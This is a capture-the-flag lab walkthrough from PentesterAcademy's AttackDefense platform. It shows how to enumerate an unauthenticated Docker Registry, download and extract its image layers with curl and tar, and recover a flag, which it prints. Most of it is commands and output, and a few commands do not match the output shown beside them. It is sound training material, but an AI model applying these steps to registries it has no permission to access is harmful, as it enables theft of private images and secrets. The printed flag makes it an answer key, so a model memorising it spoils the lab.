
ATTACK
DEFENSE
by PentesterAcademy

| Name | Insecure Docker Registry II |
|---|---|
| URL | https://www.attackdefense.com/challengedetails?cid=1025 |
| Type | DevSecOps : Docker Registry |

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

**Step 1:** Run an nmap scan against the target IP

Command: nmap -p- -sV 192.143.152.3

```
root@attackdefense:~# nmap -p- -sV 192.2.162.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-13 19:27 UTC
Nmap scan report for owefnub26eu1yfdztq33xk33z.temp-network_a-2-162 (192.2.162.3)
Host is up (0.000036s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE  VERSION
5000/tcp open  ssl/http Docker Registry (API: 2.0)
MAC Address: 02:42:C0:02:A2:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 45.43 seconds
root@attackdefense:~#
```

**Step 2:** We have discovered a Docker Registry running on the target machine. We can use curl to interact with the API and list all repositories present in the registry.

Command: curl http://192.143.152.3:5000/v2/_catalog

Similarly, list all tags for each repository.

Command: curl http://192.143.152.3:5000/v2/flag/tags/list

```
root@attackdefense:~# curl http://192.143.152.3:5000/v2/_catalog
{"repositories":["treasure-trove"]}
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# curl http://192.143.152.3:5000/v2/treasure-trove/tags/list
{"name":"treasure-trove","tags":["latest"]}
root@attackdefense:~#
```

**Step 3:** We can pull the manifests for the image.

Command: curl http://192.143.152.3:5000/v2/treasure-trove/manifests/latest

```
root@attackdefense:~# curl http://192.143.152.3:5000/v2/treasure-trove/manifests/latest
{
   "schemaVersion": 1,
   "name": "treasure-trove",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
      }
   ],
```

**Step 4:** Pull all three layers of the image and save those in form of .tar archives.

Command: curl -s http://192.143.152.3:5000/v2/treasure-trove/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output 1.tar

```
root@attackdefense:~# curl -s http://192.143.152.3:5000/v2/treasure-trove/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output 1.tar
root@attackdefense:~# curl -s http://192.143.152.3:5000/v2/treasure-trove/blobs/sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 --output 2.tar
root@attackdefense:~# curl -s http://192.143.152.3:5000/v2/treasure-trove/blobs/sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10 --output 3.tar
root@attackdefense:~#
```

```
root@attackdefense:~# ls -l
total 2716
-rw-r--r-- 1 root root     218 May 13 19:12 1.tar
-rw-r--r-- 1 root root      32 May 13 19:12 2.tar
-rw-r--r-- 1 root root 2757034 May 13 19:13 3.tar
-rw-r--r-- 1 root root     293 Nov 25 15:54 README
drwxr-xr-x 1 root root    4096 Feb 26 11:34 tools
drwxr-xr-x 2 root root    4096 Jan  4 06:06 wordlists
root@attackdefense:~#
```

**Step 5:** Extract all the layers one by one in the same directory.

Command: tar -xf 1.tar

```
root@attackdefense:~# tar -xf 3.tar
root@attackdefense:~# ls -l
total 2784
-rw-r--r--  1 root root     218 May 13 19:12 1.tar
-rw-r--r--  1 root root      32 May 13 19:12 2.tar
-rw-r--r--  1 root root 2757034 May 13 19:13 3.tar
-rw-r--r--  1 root root     293 Nov 25 15:54 README
drwxr-xr-x  2 root root    4096 May  9 20:49 bin
drwxr-xr-x  2 root root    4096 May  9 20:49 dev
drwxr-xr-x 15 root root    4096 May  9 20:49 etc
drwxr-xr-x  2 root root    4096 May  9 20:49 home
drwxr-xr-x  5 root root    4096 May  9 20:49 lib
drwxr-xr-x  5 root root    4096 May  9 20:49 media
drwxr-xr-x  2 root root    4096 May  9 20:49 mnt
drwxr-xr-x  2 root root    4096 May  9 20:49 opt
dr-xr-xr-x  2 root root    4096 May  9 20:49 proc
drwx------  2 root root    4096 May  9 20:49 root
drwxr-xr-x  2 root root    4096 May  9 20:49 run
drwxr-xr-x  2 root root    4096 May  9 20:49 sbin
drwxr-xr-x  2 root root    4096 May  9 20:49 srv
drwxr-xr-x  2 root root    4096 May  9 20:49 sys
drwxrwxrwt  2 root root    4096 May  9 20:49 tmp
drwxr-xr-x  1 root root    4096 Feb 26 11:34 tools
drwxr-xr-x  7 root root    4096 May  9 20:49 usr
drwxr-xr-x 11 root root    4096 May  9 20:49 var
drwxr-xr-x  2 root root    4096 Jan  4 06:06 wordlists
root@attackdefense:~#
```

```
root@attackdefense:~#
root@attackdefense:~# tar -xf 2.tar
root@attackdefense:~# tar -xf 1.tar
root@attackdefense:~#
```

**Step 6:** Look for flag file in extracted files/directories.

Command: find . -name *flag* 2>/dev/null

```
root@attackdefense:~# find . -name *flag* 2>/dev/null
./etc/network/if-post-up.d/flag.txt
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# cat ./etc/network/if-post-up.d/flag.txt
c09f6e2ecff56dcae50c02c6a4d355fe
root@attackdefense:~#
```

This will locate the flag for us.

**Flag:** c09f6e2ecff56dcae50c02c6a4d355fe

**References**

1. Docker (https://www.docker.com/)
2. Docker Registry API (https://docs.docker.com/registry/spec/api/)